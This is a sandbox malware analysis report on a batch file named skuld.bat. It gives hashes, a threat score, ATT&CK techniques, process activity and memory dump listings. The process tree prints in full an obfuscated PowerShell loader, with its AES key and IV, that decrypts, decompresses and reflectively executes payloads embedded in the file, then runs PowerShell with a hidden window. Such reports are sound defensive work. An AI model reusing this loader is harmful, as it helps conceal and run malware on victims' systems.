70fdc6e91d6f0b7a3e72638bda9333eabb83a949e38216d52952629f98b1317c

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
29/06/2024, 22:47

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

skuld.bat
Size

13.0MB
MD5

441100cf63c807c0d4f359c64499ffa6
SHA1

f65d189e9d35cef146f7e04b603032123f931691
SHA256

70fdc6e91d6f0b7a3e72638bda9333eabb83a949e38216d52952629f98b1317c
SHA512

de0352fad3f2df48638036052a29173328ca1a3ab119b2707ae982833914685f7088b9d4cbcbe2eb7f2a8270c76e3731c1d854568112c0c8d41b89b54c7b2d43
SSDEEP

49152:KSOtTyTd7XtPt/Ws8crF3fLk3ReLdn5vq/5cQSo33D0gaHmCFMaXmwKbiifdT+td:Kw

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1996	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1996	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1996	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2192 wrote to memory of 836	2192	cmd.exe	29
PID 2192 wrote to memory of 836	2192	cmd.exe	29
PID 2192 wrote to memory of 836	2192	cmd.exe	29
PID 2192 wrote to memory of 1996	2192	cmd.exe	30
PID 2192 wrote to memory of 1996	2192	cmd.exe	30
PID 2192 wrote to memory of 1996	2192	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\skuld.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('stZnWL/BJJPlrN99l4yeGOrkttMQ+/54VlMbUM5NM4M='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('PQVNo8ckfwabMAQin5rKXA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $qWOMa=New-Object System.IO.MemoryStream(,$param_var); $lRyQJ=New-Object System.IO.MemoryStream; $LFvXp=New-Object System.IO.Compression.GZipStream($qWOMa, [IO.Compression.CompressionMode]::Decompress); $LFvXp.CopyTo($lRyQJ); $LFvXp.Dispose(); $qWOMa.Dispose(); $lRyQJ.Dispose(); $lRyQJ.ToArray();}function execute_function($param_var,$param2_var){ $LTIrL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $oWWac=$LTIrL.EntryPoint; $oWWac.Invoke($null, $param2_var);}$QKaab = 'C:\Users\Admin\AppData\Local\Temp\skuld.bat';$host.UI.RawUI.WindowTitle = $QKaab;$JqQNL=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($QKaab).Split([Environment]::NewLine);foreach ($RTGcd in $JqQNL) { if ($RTGcd.StartsWith('xoGbgXKYJsrxSGYofsbA')) { $dCeEd=$RTGcd.Substring(20); break; }}$payloads_var=[string[]]$dCeEd.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1996

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1996-4-0x000007FEF5B9E000-0x000007FEF5B9F000-memory.dmp

Filesize
4KB

Download
memory/1996-5-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

Filesize
2.9MB

Download
memory/1996-6-0x00000000027E0000-0x00000000027E8000-memory.dmp

Filesize
32KB

Download
memory/1996-7-0x000007FEF58E0000-0x000007FEF627D000-memory.dmp

Filesize
9.6MB

Download
memory/1996-8-0x000007FEF58E0000-0x000007FEF627D000-memory.dmp

Filesize
9.6MB

Download
memory/1996-9-0x000007FEF58E0000-0x000007FEF627D000-memory.dmp

Filesize
9.6MB

Download
memory/1996-10-0x000007FEF5B9E000-0x000007FEF5B9F000-memory.dmp

Filesize
4KB

Download